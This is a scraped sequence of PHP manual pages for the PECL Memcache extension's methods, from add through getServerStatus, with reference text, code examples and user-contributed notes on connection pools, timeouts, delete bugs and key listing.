User Contributed Notes

chris at NOSPAM dot xeneco dot co dot uk 10-Jan-2013 06:40
It helps to know that for this extension to work, you need a server with 'Memcached' (a service independent of PHP) installed and running as a service.

The documentation herein refers a lot to 'memcache_host'. This is not an arbitrary string, but should be a host name (eg localhost) or an IP address of a server running memcached.

If you have just installed the php memcache extension then you will not necessarily have memcached installed as well


Add an item to the server

  • « Memcache
  • Memcache::addServer »
  • PHP Manual
  • Memcache
  • Add an item to the server

Memcache::add

(PECL memcache >= 0.2.0)

Memcache::add — Add an item to the server

Description

bool Memcache::add ( string $key , mixed $var [, int $flag [, int $expire ]] )

Memcache::add() stores variable var with key only if such key doesn't exist at the server yet. Also you can use memcache_add() function.

Parameters

key

The key that will be associated with the item.

var

The variable to store. Strings and integers are stored as is, other types are stored serialized.

flag

Use MEMCACHE_COMPRESSED to store the item compressed (uses zlib).

expire

Expiration time of the item. If it's equal to zero, the item will never expire. You can also use Unix timestamp or a number of seconds starting from current time, but in the latter case the number of seconds may not exceed 2592000 (30 days).

Return Values

Returns TRUE on success or FALSE on failure. Returns FALSE if such key already exist. For the rest Memcache::add() behaves similarly to Memcache::set().

Examples

Example #1 Memcache::add() example

<?php

$memcache_obj = memcache_connect("localhost", 11211);

/* procedural API */
memcache_add($memcache_obj, 'var_key', 'test variable', false, 30);

/* OO API */
$memcache_obj->add('var_key', 'test variable', false, 30);

?>

See Also

  • Memcache::set() - Store data at the server
  • Memcache::replace() - Replace value of the existing item

User Contributed Notes

vasiliy at hotger dot com 13-Feb-2014 04:49
It looks like add() function is truly 100% atomic, and safeadd bicycle mentioned in the other comment is useless. There are few links where developers of Memcahed explained it deeper

http://lists.danga.com/pipermail/memcached/2008-March/006647.html
http://www.serverphorums.com/read.php?9,214222
Davide Renzi 18-Feb-2010 10:16
Race conditions happen on an heavy load server when more than one thread tries to execute memcache_add.
For example if thread A and thread B try to save the same key you can test that sometimes both return TRUE.
To have the right behaviour you can verify that the correct value is in the assigned key:

<?php
function memcache_safeadd(&$memcache_obj, $key, $value, $flag, $expire)
{
    if (memcache_add($memcache_obj, $key, $value, $flag, $expire))
    {
        return ($value == memcache_get($memcache_obj, $key));
    }
    return FALSE;
}
?>
matt 04-Aug-2009 03:39
It's also good to note that add will succeed if the key exists but is expired
ktamas77 at gmail dot com 27-Apr-2009 01:08
skeleton of a thread safe updater for an incremental counter:

<?php

$key = "counter";
$value = $memcache->increment($key, 1);
if ($value === false) {
   // --- read from DB ---
   $query = "SELECT value FROM database";
   $result = mysql_query($query);
   $row = mysql_fetch_assoc($result);
   $db_value = $row["value"];
   $add_value = $memcache->add($key, $db_value + 1, 0, 0);
   if ($add_value === false) {
      $value = $memcache->increment($key, 1)
      if ($value === false) {
          error_log ("counter update failed.");
      }
   } else {
      $value = $db_value + 1;
   }
}

// --- display counter value ---
echo $value;

?>
roberto at spadim,com dot br 18-Jun-2007 07:13
[c.2007]
if you read source code for MMC_SERIALIZED you will see at line ~1555 that [a line ~1560]
!(is_string,is_long,is_double,is_bool)

[is] serialized and that serialized values are flaged as MMC_SERIALIZED for return (fetch) code unserialize these values again


Add a memcached server to connection pool

  • « Memcache::add
  • Memcache::close »
  • PHP Manual
  • Memcache
  • Add a memcached server to connection pool

Memcache::addServer

(PECL memcache >= 2.0.0)

Memcache::addServer — Add a memcached server to connection pool

Description

bool Memcache::addServer ( string $host [, int $port = 11211 [, bool $persistent [, int $weight [, int $timeout [, int $retry_interval [, bool $status [, callable $failure_callback [, int $timeoutms ]]]]]]]] )

Memcache::addServer() adds a server to the connection pool. You can also use the memcache_add_server() function.

When using this method (as opposed to Memcache::connect() and Memcache::pconnect()) the network connection is not established until actually needed. Thus there is no overhead in adding a large number of servers to the pool, even though they might not all be used.

Failover may occur at any stage in any of the methods, as long as other servers are available the request the user won't notice. Any kind of socket or Memcached server level errors (except out-of-memory) may trigger the failover. Normal client errors such as adding an existing key will not trigger a failover.

Note:

This function has been added to Memcache version 2.0.0.

Parameters

host

Point to the host where memcached is listening for connections. This parameter may also specify other transports like unix:///path/to/memcached.sock to use UNIX domain sockets, in this case port must also be set to 0.

port

Point to the port where memcached is listening for connections. Set this parameter to 0 when using UNIX domain sockets.

Please note: port defaults to memcache.default_port if not specified. For this reason it is wise to specify the port explicitly in this method call.

persistent

Controls the use of a persistent connection. Default to TRUE.

weight

Number of buckets to create for this server which in turn control its probability of it being selected. The probability is relative to the total weight of all servers.

timeout

Value in seconds which will be used for connecting to the daemon. Think twice before changing the default value of 1 second - you can lose all the advantages of caching if your connection is too slow.

retry_interval

Controls how often a failed server will be retried, the default value is 15 seconds. Setting this parameter to -1 disables automatic retry. Neither this nor the persistent parameter has any effect when the extension is loaded dynamically via dl().

Each failed connection struct has its own timeout and before it has expired the struct will be skipped when selecting backends to serve a request. Once expired the connection will be successfully reconnected or marked as failed for another retry_interval seconds. The typical effect is that each web server child will retry the connection about every retry_interval seconds when serving a page.

status

Controls if the server should be flagged as online. Setting this parameter to FALSE and retry_interval to -1 allows a failed server to be kept in the pool so as not to affect the key distribution algorithm. Requests for this server will then failover or fail immediately depending on the memcache.allow_failover setting. Default to TRUE, meaning the server should be considered online.

failure_callback

Allows the user to specify a callback function to run upon encountering an error. The callback is run before failover is attempted. The function takes two parameters, the hostname and port of the failed server.

timeoutms

Notes

Warning

When the port is unspecified, this method defaults to the value set of the PHP ini directive memcache.default_port If this value was changed elsewhere in your application it might lead to unexpected results: for this reason it is wise to always specify the port explicitly in this method call.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::addServer() example

<?php

/* OO API */

$memcache = new Memcache;
$memcache->addServer('memcache_host', 11211);
$memcache->addServer('memcache_host2', 11211);

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_add_server($memcache_obj, 'memcache_host2', 11211);

?>

See Also

  • Memcache::connect() - Open memcached server connection
  • Memcache::pconnect() - Open memcached server persistent connection
  • Memcache::close() - Close memcached server connection
  • Memcache::setServerParams() - Changes server parameters and status at runtime
  • Memcache::getServerStatus() - Returns server status

User Contributed Notes

joewynn dot nz+phpnet at gmail dot com 25-Oct-2013 07:12
Note that this method will always return TRUE because a connection is not actually made at call time. See this bug report for more information: https://bugs.php.net/bug.php?id=58193
enno dot rehling at gmail dot com 10-Sep-2011 01:11
The $timeoutms argument can be used to specify the timeout in milliseconds, but isn't available in all versions. For example, it exists in php_memcache 2.2.6, but not in 3.0.4. In 2.2.6, if you specify it, then it overrides $timeout.

Caveat emptor: If $timeoutms is not specified, it defaults to the value of memcache.default_timeout_ms in php.ini, which defaults to 1000 if not set. This also overrides $timeout, which has the curious effect that $timeout is always ignored in php_memcache 2.2.6 (either in favor of $timeoutms, memcache.default_timeout_ms or the value 1000, in that order of priority).
rstaveley at seseit dot com 17-Jun-2011 01:06
The Memcache client library is responsible for picking the right server to set/get data. That's why addServer is what you want to use rather than connect, when you have more than one Memcache server. A subsequent set/get will then connect on demand to the appropriate instance as needs be. Disconnection to whatever servers were connected to happening when you close or your script terminates.

Memcache instances added to your Memcache object via addServer should be added in the same order in your application to ensure that the same server is picked for use with the same key.

A client library may be implemented to run a CRC on the key and do a modulus over the number of instances in the list to select an instance from the list for the set/get. This ensures that data is spread nicely across the nodes.

That all works nicely behind the scenes for you in your PHP code, as long as you add your list of Memcache instances in a consistent manner with addServer.
eu at serbannistor dot ro 04-May-2011 03:30
Actually if you have two memcached servers from which one of them is on localhost, and the other is on a remote machine you can communicate with both even if you specify the loopback address for the local one.

<?php
$memcache_obj = memcache_connect("127.0.0.1", 11211);
memcache_add_server($memcache_obj, "memcache_remote_host");
$memcache_obj->set('var_key', time());
?>

This WILL communicate with both hosts but however there are two aspects that must be taken into account:
1. the communication will be done through different network interfaces with the two hosts. It will use the loopback interface for the "127.0.0.1" host (lo in my case on Linux) and the external interface for the "memcache_remote_host" (eth0 in my case). Only if you want to use the same network interface to communicate with both hosts you must use the external IPs of both machines (and all communication will go out through the eth0 interface).
2. the connection with the two hosts will be established differently because of how memcache_connect() and memcache_add_server() work. Therefore the memcache_connect() will initiate the connection to localhost through the loopback interface when it is called, while memcache_add_server() will just add the second server to the pool, but it will not send any package through the network until it's absolutely needed (for example when a memcache_set() command is issued).
iwind dot liu at gmail dot com 08-Feb-2010 09:14
The weight of the server must be greater than 0.

If there is no memcached server to use, and you try to set/add variables, the apache will be crashed, with the error message "[notice] child pid 18725 exit signal Segmentation fault (11)" in error_log file.
Jean-Baptiste Quenot 05-May-2008 10:08
The default value for the "weight" argument is 1


Close memcached server connection

  • « Memcache::addServer
  • Memcache::connect »
  • PHP Manual
  • Memcache
  • Close memcached server connection

Memcache::close

(PECL memcache >= 0.4.0)

Memcache::close — Close memcached server connection

Description

bool Memcache::close ( void )

Memcache::close() closes connection to memcached server. This function doesn't close persistent connections, which are closed only during web-server shutdown/restart. Also you can use memcache_close() function.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::close() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/*
do something here ..
*/
memcache_close($memcache_obj);

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/*
do something here ..
*/
$memcache_obj->close();

?>

See Also

  • Memcache::connect() - Open memcached server connection
  • Memcache::pconnect() - Open memcached server persistent connection

User Contributed Notes

There are no user contributed notes for this page.


Open memcached server connection

  • « Memcache::close
  • Memcache::decrement »
  • PHP Manual
  • Memcache
  • Open memcached server connection

Memcache::connect

(PECL memcache >= 0.2.0)

Memcache::connect — Open memcached server connection

Description

bool Memcache::connect ( string $host [, int $port [, int $timeout ]] )

Memcache::connect() establishes a connection to the memcached server. The connection, which was opened using Memcache::connect() will be automatically closed at the end of script execution. Also you can close it with Memcache::close(). Also you can use memcache_connect() function.

Parameters

host

Point to the host where memcached is listening for connections. This parameter may also specify other transports like unix:///path/to/memcached.sock to use UNIX domain sockets, in this case port must also be set to 0.

port

Point to the port where memcached is listening for connections. Set this parameter to 0 when using UNIX domain sockets.

Please note: port defaults to memcache.default_port if not specified. For this reason it is wise to specify the port explicitly in this method call.

timeout

Value in seconds which will be used for connecting to the daemon. Think twice before changing the default value of 1 second - you can lose all the advantages of caching if your connection is too slow.

Notes

Warning

When the port is unspecified, this method defaults to the value set of the PHP ini directive memcache.default_port If this value was changed elsewhere in your application it might lead to unexpected results: for this reason it is wise to always specify the port explicitly in this method call.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::connect() example

<?php

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);

/* OO API */

$memcache = new Memcache;
$memcache->connect('memcache_host', 11211);

?>

See Also

  • Memcache::pconnect() - Open memcached server persistent connection
  • Memcache::close() - Close memcached server connection

User Contributed Notes

webysther at gmail dot com 10-May-2014 01:28
In describing the timeout there is a statement that is not completely correct, increase the timeout does not necessarily preclude or unfeasible memcache, only allows the system to wait for more concurrent connections, which is a large minority of the number of connections, this causes several problems and could simply be corrected if the timeout was increased and perform some tests.
To prove the concept and show that the connection does not wait if the server goes down:

<?PHP

while ( ++$loop < 10000 ) {
    try {
        $memcache = new Memcache;
        @$memcache->pconnect( "127.0.0.1" , 11211 , 30 );
        $loopset = 0;
        $loopget = 0;

        while ( ++$loopset < 50 ) {
            if ( @$memcache->set( "foo" , "bar" ) === false ) {
                echo "Fail!" . PHP_EOL;
            }
        }

        while ( ++$loopget < 500 ) {
            if ( @$memcache->get( "foo" ) === false ) {
                echo "Fail!" . PHP_EOL;
            }
        }

        if ( $loop % 100 == 0 ) {
            echo "Try: " . $loop . PHP_EOL;
        }
    } catch ( Exception $e ) {
        echo "Fail: " . $e->getMessage() . PHP_EOL;
    }
}

?>

Replace with an invalid host and test the timeout will not make a difference! It serves only for connections to the socket that are occupied.

More detail about troubleshooting timeouts in memcached google code.
tom at all dash community dot de 06-Dec-2011 04:52
There is a not-so-obvious way to check whether or not a MemCache-Server is available.

Using ($memCache->connect() == false) will wait for a timeout if it can't connect. If you got a high-traffic site this may not be an option. So when the server is down, you may want to avoid waiting for this timeout on every request and instead try to reconnect only once every X seconds.

If so, this code may help:

<?php
$memCache = new \Memcache();
$memCache->addServer($host, $port);
$stats = @$memCache->getExtendedStats();
$available = (bool) $stats["$host:$port"];
if ($available && @$memCache->connect($host, $port))
    // MemCache is there
else
    // go on without MemCache
?>

The result of getExtendedStats() is an array. The information is cached and maintained by MemCache itself. If the server is not available, the result will be FALSE.

Even if the result is not false, the server may still not be available. Thus you need to check for connect() != false too, but only if the first check returns TRUE, thus avoiding the 1 second timeout in most cases.
Both getExtendedStats() and connect() issue notices/warnings if the server is not there. Thus you have to mute both calls.

Do NOT use getServerStatus() for this purpose: the result is cached on server-start and will not recognize when the connection to the server is lost (or reestablished) in between.
djbrd 11-May-2011 08:48
To suppress (or handle) the warning and notice thrown by a failed attempt to connect, you can use a custom error handler function, like this:

<?php
function myErrorHandler($errno, $errstr, $errfile, $errline)
{

    if (E_WARNING === $errno)
    {
        Log("PHP Warning: $errstr, $errfile, $errline", Logging::WARN);
        return true;
    }

    if (E_NOTICE === $errno)
    {
        Log("PHP Notic: $errstr, $errfile, $errline", Logging::NOTICE);
        return true;
    }

    return false;
}

set_error_handler('myErrorHandler');
?>
geoffrey dot hoffman at gmail dot com 18-Aug-2010 09:32
If memcached is working, calling memcache_connect( ) returns an Object instance, not a boolean. If memcached is not working, calling memcache_connect( ) throws a notice AND a warning (and returns false as expected).

<?php
/* memcache is running */
$test1 = memcache_connect('127.0.0.1',11211);
echo gettype($test1);
// object
echo get_class($test1);
// Memcache

/* memcached is stopped */
$test2 = memcache_connect('127.0.0.1',11211);

/*
Notice: memcache_connect(): Server 127.0.0.1 (tcp 11211) failed with: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
 (10060) in C:\Program Files\Support Tools\- on line 1

Warning: memcache_connect(): Can't connect to 127.0.0.1:11211, A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
 (10060) in C:\Program Files\Support Tools\- on line 1
*/

echo gettype($test2);
// boolean
echo $test2===false;
// 1
?>

There appears to be no way to check whether memcached is actually running without resorting to error suppression:

<?php
$test3 = @memcache_connect('127.0.0.1',11211);
if( $test3===false ){
   // memcached is _probably_ not running
}
?>
chrisn at allipo dot com 05-Sep-2006 10:39
The behavior of Memcache::connect() is to always reinitialize the pool from scratch regardless of any previous calls to addServer().

E.g.

<?php
$mmc = new Memcache()
$mmc->addServer('node1', 11211);
$mmc->addServer('node2', 11211);
$mmc->addServer('node3', 11211);

$mmc->connect('node1', 11211);
?>

The last connect() call clears out the pool and then add and connect node1:11211 making it the only server.

If you want a pool of memcache servers, do not use the connect() function.

If you only want a single memcache server then there is no need to use the addServer() function.


Decrement item's value

  • « Memcache::connect
  • Memcache::delete »
  • PHP Manual
  • Memcache
  • Decrement item's value

Memcache::decrement

(PECL memcache >= 0.2.0)

Memcache::decrement — Decrement item's value

Description

int Memcache::decrement ( string $key [, int $value = 1 ] )

Memcache::decrement() decrements value of the item by value. Similarly to Memcache::increment(), current value of the item is being converted to numerical and after that value is subtracted.

Note:

New item's value will not be less than zero.

Note:

Do not use Memcache::decrement() with item, which was stored compressed, because consequent call to Memcache::get() will fail.

Memcache::decrement() does not create an item if it didn't exist. Also you can use memcache_decrement() function.

Parameters

key

Key of the item do decrement.

value

Decrement the item by value.

Return Values

Returns item's new value on success or FALSE on failure.

Examples

Example #1 Memcache::decrement() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/* decrement item by 2 */
$new_value = memcache_decrement($memcache_obj, 'test_item', 2);

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/* decrement item by 3 */
$new_value = $memcache_obj->decrement('test_item', 3);
?>

See Also

  • Memcache::increment() - Increment item's value
  • Memcache::replace() - Replace value of the existing item

User Contributed Notes

There are no user contributed notes for this page.


Delete item from the server

  • « Memcache::decrement
  • Memcache::flush »
  • PHP Manual
  • Memcache
  • Delete item from the server

Memcache::delete

(PECL memcache >= 0.2.0)

Memcache::delete — Delete item from the server

Description

bool Memcache::delete ( string $key [, int $timeout = 0 ] )

Memcache::delete() deletes an item with the key.

Parameters

key

The key associated with the item to delete.

timeout

This deprecated parameter is not supported, and defaults to 0 seconds. Do not use this parameter.

Changelog

Version | Description
Unknown | It's not recommended to use the timeout parameter. The behavior differs between memcached versions, but setting to 0 is safe. Other values for this deprecated feature may cause the memcache delete to fail.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::delete() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);

/* item will be deleted by the server */
memcache_delete($memcache_obj, 'key_to_delete');

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);

$memcache_obj->delete('key_to_delete');

?>

See Also

  • Memcache::set() - Store data at the server
  • Memcache::replace() - Replace value of the existing item

User Contributed Notes

padys 12-Apr-2013 03:24
In my case this code does NOT work:
<?php
$memcache->set('index', 'deleted', 0, -1);
?>
because of expire == -1.

I set expire = 1 (and I prefer "replace"):
<?php
$memcache->replace('index', '', 0, 1);
?>
me at adamhahn dot com 04-Jul-2012 04:26
I could not get the delete to work properly, so I ended up trying the 'set' method and setting the timeout value to -1.

<?php
$memcache->set('index', 'deleted', 0, -1);
?>

It solved my problem with the delete method.

(using memcached 1.4.5 and pecl-memcache 3.0.6)
vbaspcppguy at gmail dot com 08-Sep-2010 09:47
According to the documents, $timeout is not required, but for me if I did not include it regardless of value, it fired an error. I made a simple fix for it.

<?php
class memcache_tools extends memcache
{
    public function delete($key, $expire=0)
    {
        parent::delete($key, $expire);
    }
}
?>

This will force it to behave as it should regardless of version.
Anonymous 29-Jul-2010 12:30
Regardless of whether or not it succeeds, for me on Ubuntu 10.04 it always returns false.  Just an FYI, you can't seem to rely on the result.
nibblebot at gmail dot com 09-Jul-2010 05:58
the Memcache::delete(key) function is broken on several combinations of memcached+pecl-memcache combinations.

pecl-memcache 2.2.5 + memcached 1.4.2 - Memcache::delete(key) WORKS

pecl-memcache 2.2.5 + memcached 1.4.3 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 2.2.5 + memcached 1.4.4 - Memcache::delete(key) WORKS

pecl-memcache 2.2.5 + memcached 1.4.5 - Memcache::delete(key) WORKS

pecl-memcache 3.0.4 + memcached 1.4.2 - Memcache::delete(key) WORKS

pecl-memcache 3.0.4 + memcached 1.4.3 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 3.0.4 + memcached 1.4.4 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 3.0.4 + memcached 1.4.5 - Memcache::delete(key) DOES NOT WORK


Flush all existing items at the server

  • « Memcache::delete
  • Memcache::get »
  • PHP Manual
  • Memcache
  • Flush all existing items at the server

Memcache::flush

(PECL memcache >= 1.0.0)

Memcache::flush — Flush all existing items at the server

Description

bool Memcache::flush ( void )

Memcache::flush() immediately invalidates all existing items. Memcache::flush() doesn't actually free any resources, it only marks all the items as expired, so occupied memory will be overwritten by new items. Also you can use memcache_flush() function.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::flush() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);

memcache_flush($memcache_obj);

/* OO API */

$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);

$memcache_obj->flush();

?>

User Contributed Notes

Anonymous 27-Feb-2008 04:51
From the memcached mailing list:

"The flush has a one second granularity. The flush will expire all items up to the ones set within the same second."

It is imperative to wait at least one second after flush() command before further actions like repopulating the cache. Ohterwise new items < 1 second after flush() would be invalidatet instantaneous.

Example:
<?php
$memcache->flush();

$time = time()+1; //one second future
while(time() < $time) {
  //sleep
}
$memcache->set('key', 'value'); // repopulate the cache
?>
maarten d/ot manders a/t tilllate dotcom 12-Jul-2007 10:20
Please note that after flushing, you have to wait a certain amount of time (in my case < 1s) to be able to write to Memcached again. If you don't, Memcached::set() will return 1, although your data is in fact not saved.


Retrieve item from the server

  • « Memcache::flush
  • Memcache::getExtendedStats »
  • PHP Manual
  • Memcache
  • Retrieve item from the server

Memcache::get

(PECL memcache >= 0.2.0)

Memcache::get — Retrieve item from the server

Description

string Memcache::get ( string $key [, int &$flags ] )
array Memcache::get ( array $keys [, array &$flags ] )

Memcache::get() returns previously stored data if an item with such key exists on the server at this moment.

You can pass array of keys to Memcache::get() to get array of values. The result array will contain only found key-value pairs.

Parameters

key

The key or array of keys to fetch.

flags

If present, flags fetched along with the values will be written to this parameter. These flags are the same as the ones given to for example Memcache::set(). The lowest byte of the int is reserved for pecl/memcache internal usage (e.g. to indicate compression and serialization status).

Return Values

Returns the string associated with the key or an array of found key-value pairs when key is an array. Returns FALSE on failure, key is not found or key is an empty array.

Examples

Example #1 Memcache::get() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
$var = memcache_get($memcache_obj, 'some_key');

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
$var = $memcache_obj->get('some_key');

/*
You also can use array of keys as a parameter.
If such item wasn't found at the server, the result
array simply will not include such key.
*/

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
$var = memcache_get($memcache_obj, Array('some_key', 'another_key'));

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
$var = $memcache_obj->get(Array('some_key', 'second_key'));

?>

User Contributed Notes

csongor at halmai dot hu 07-Oct-2014 01:27
Avoid reading too many values from memcahce. Each get() consumes some memory. You should cache the values instead, once they are read. Illustration of bad practice:

<?php   // reading from memcache leaks

    $m = new Memcache();
    $m -> connect( "localhost", "11211" );
    $m -> add("foo", "bar");

    for(;;) {  // this "endless" loop will finish because it eats up all the memory
        $res = $m -> get("foo");
        print memory_get_usage()."\n";  // this writes bigger and bigger numbers
    }
a dot karabiowski at gmx dot net 27-Jan-2014 06:19
Signature is not correct.

<?php
$memcache = new Memcache();
$memcache->connect('localhost', 11211);
class Test { public $property = "testvalue"; }
$test = new Test();
$memcache->set("asdf", $test);
var_dump($memcache->get("asdf"));
/* will return the object, not the string:
    class Test#3 (1) {
      public $property =>
      string(9) "testvalue"
    }
*/
?>
bijay dot rungta at gmail dot com 21-May-2013 03:31
Note that if you include spaces in your keys when saving Data and use array of keys to get the Data, The returned array will replace spaces with underscores in the keys.

<?php

$memcache = new Memcache;
$memcache->connect('localhost');
$memcache->set('my-key', 'value1', 0, 300);
$memcache->set('key with space', 'value 2', 0, 300);

print_r($memcache->get(array('my-key', 'key with space'))); // Array ( [my-key] => value1 [key_with_space] => value 2 )

?>

Memcache replaces spaces with underscores when saving, it does so when doing a get too, but when you do a get with single key (string) you don't notice this as it merely returns the value. But when you do a get for array of keys, you would expect the same keys in the returned array but it replaces spaces by underscores in them.
clover at fromru dot com 27-Apr-2013 09:14
$flags stays untouched if $key was not found on the server, it's helpfull to determine if bool(false) was stored:

<?php

$memcache = new Memcache();

$memcache->set('test', false); //
$flags = false;
var_dump($memcache->get('test', $flags)); // bool(false)
var_dump($flags); // int(256) - changed to int

$memcache->delete('test');

$flags = false;
var_dump($memcache->get('test', $flags)); // bool(false)
var_dump($flags); // bool(false) - untouched

?>
Michael Brenden 17-Feb-2011 11:46
Beware, if there's a backslash present in the key name then the results are unpredictable and random.

I was generating keys like this:

$mc_key = get_called_class(). $_COOKIE['crumb'];

This works fine when get_called_class() returns CLASSNAME.

But then I began using namespaces, and get_class_class() of course returned NAMESPACE\CLASSNAME

Well that backslash sends Memcache into quite the tizzy.
No errors, mind you, just insanity.
janis at unrepublic dot com 22-Mar-2010 11:00
For me it was the case that if such key doesn't exist, null is returned not false.
nate 14-Oct-2008 05:18
Be aware that when using the multi-key version, Memcache::get returns bool false if no servers are configured for the pool (and possibly if other errors occur as well while attempting to fetch). Also, Memcache class throws annoying warnings on every get/set/delete-type calls if you have no servers added to the pool.

The following snippet var_dump's bool false, not an empty array like you might expect.

<?php
$cache = new Memcache;

// no $cache->addServer calls (for example,
due to temporarily disabling use of cache)

// use @ symbol to ignore warning

var_dump(
    @$cache->get(array('one', 'two'))
);
?>
jakub dot lopuszanski at nasza-klasa dot pl 07-Jul-2008 04:39
If deserialization fails for some reason, that is when memcache server returned flag 1 set, but the value was not a correctly serialized PHP data,
then Memcache::get acts in a following way:

If it was called with a single key to retrieve, then a warning is raised, but since it was not actually a bug of a server, the warning says something confusing like "Memcached Server Error: null" and the function returns bool(false).

If it was called by passing an array (even with a single element in it), then the warning is not raised and the resulting array contains a value bool(false).

Since there are some buffer overrun bugs present in Memcached Server, which from time to time cause overwriting of [part of] data and therefore rendering it impossible to deserialize, make sure to check if the result of Memcache::get contains only string, or deserialized structure. If the result is bool,dobule or long, then something went wrong.


Get statistics from all servers in pool

  • « Memcache::get
  • Memcache::getServerStatus »
  • PHP Manual
  • Memcache
  • Get statistics from all servers in pool

Memcache::getExtendedStats

(PECL memcache >= 2.0.0)

Memcache::getExtendedStats — Get statistics from all servers in pool

Description

array Memcache::getExtendedStats ([ string $type [, int $slabid [, int $limit = 100 ]]] )

Memcache::getExtendedStats() returns a two-dimensional associative array with server statistics. Array keys correspond to host:port of server and values contain the individual server statistics. A failed server will have its corresponding entry set to FALSE. You can also use the memcache_get_extended_stats() function.

Note:

This function has been added to Memcache version 2.0.0.

Parameters

type

The type of statistics to fetch. Valid values are {reset, malloc, maps, cachedump, slabs, items, sizes}. According to the memcached protocol spec these additional arguments "are subject to change for the convenience of memcache developers".

slabid

Used in conjunction with type set to cachedump to identify the slab to dump from. The cachedump command ties up the server and is strictly to be used for debugging purposes.

limit

Used in conjunction with type set to cachedump to limit the number of entries to dump.

Warning

The cachedump stat type has been removed from the memcached daemon due to security reasons.

Return Values

Returns a two-dimensional associative array of server statistics or FALSE on failure.

Examples

Example #1 Memcache::getExtendedStats() example

<?php
    $memcache_obj = new Memcache;
    $memcache_obj->addServer('memcache_host', 11211);
    $memcache_obj->addServer('failed_host', 11211);

    $stats = $memcache_obj->getExtendedStats();
    print_r($stats);
?>

The above example will output:

Array
(
    [memcache_host:11211] => Array
        (
            [pid] => 3756
            [uptime] => 603011
            [time] => 1133810435
            [version] => 1.1.12
            [rusage_user] => 0.451931
            [rusage_system] => 0.634903
            [curr_items] => 2483
            [total_items] => 3079
            [bytes] => 2718136
            [curr_connections] => 2
            [total_connections] => 807
            [connection_structures] => 13
            [cmd_get] => 9748
            [cmd_set] => 3096
            [get_hits] => 5976
            [get_misses] => 3772
            [bytes_read] => 3448968
            [bytes_written] => 2318883
            [limit_maxbytes] => 33554432
        )

    [failed_host:11211] => false
)

See Also

  • Memcache::getVersion() - Return version of the server
  • Memcache::getStats() - Get statistics of the server

User Contributed Notes

oushunbao at 163 dot com 16-Jun-2011 11:57
Get lists of all the keys stored in memcache server....

<?php
/**
 * Function to get all memcache keys
 * @author Manish Patel
 * @Created:  28-May-2010
 * @modified: 16-Jun-2011
 */
function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    $items = $memcache->getExtendedStats('items');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
            foreach($cdump AS $keys => $arrVal) {
                if (!is_array($arrVal)) continue;
                foreach($arrVal AS $k => $v) {
                    echo $k .'<br>';
                }
           }
        }
    }
}//EO getMemcacheKeys()
?>

copy from up, but fix a warning
i only add one line:  if (!is_array($arrVal)) continue;
manmca dot 2280 at gmail dot com 29-May-2010 01:35
Get lists of all the keys stored in memcache server....

<?php
/**
 * Function to get all memcache keys
 * @author Manish Patel
 * @Created:  28-May-2010
 */
function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    $items = $memcache->getExtendedStats('items');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
            foreach($cdump AS $keys => $arrVal) {
                foreach($arrVal AS $k => $v) {
                    echo $k .'<br>';
                }
           }
        }
    }
}//EO getMemcacheKeys()
?>

Hope it helps....


Returns server status

  • « Memcache::getExtendedStats
  • Memcache::getStats »
  • PHP Manual
  • Memcache
  • Returns server status

Memcache::getServerStatus

(PECL memcache >= 2.1.0)

Memcache::getServerStatus — Returns server status

Description

int Memcache::getServerStatus ( string $host [, int $port = 11211 ] )

Memcache::getServerStatus() returns a the servers online/offline status. You can also use memcache_get_server_status() function.

Note:

This function has been added to Memcache version 2.1.0.

Parameters

host

Point to the host where memcached is listening for connections.

port

Point to the port where memcached is listening for connections.

Return Values

Returns a the servers status. 0 if server is failed, non-zero otherwise

Examples

Example #1 Memcache::getServerStatus() example

<?php

/* OO API */
$memcache = new Memcache;
$memcache->addServer('memcache_host', 11211);
echo $memcache->getServerStatus('memcache_host', 11211);

/* procedural API */
$memcache = memcache_connect('memcache_host', 11211);
echo memcache_get_server_status($memcache, 'memcache_host', 11211);

?>

See Also

  • Memcache::addServer() - Add a memcached server to connection pool
  • Memcache::setServerParams() - Changes server parameters and status at runtime

User Contributed Notes

tom at all dash community dot de 06-Dec-2011 05:01
Note: the result of the function is cached. The cached is not automatically refreshed.

Call MemCache::getExtendedStats() to force a cache-update.
geoffrey dot hoffman at gmail dot com 21-Jul-2010 09:10
Beware... this method does not actually attempt to connect to the server and port you specify! It is not a health check to tell whether memcached is actually running or not!

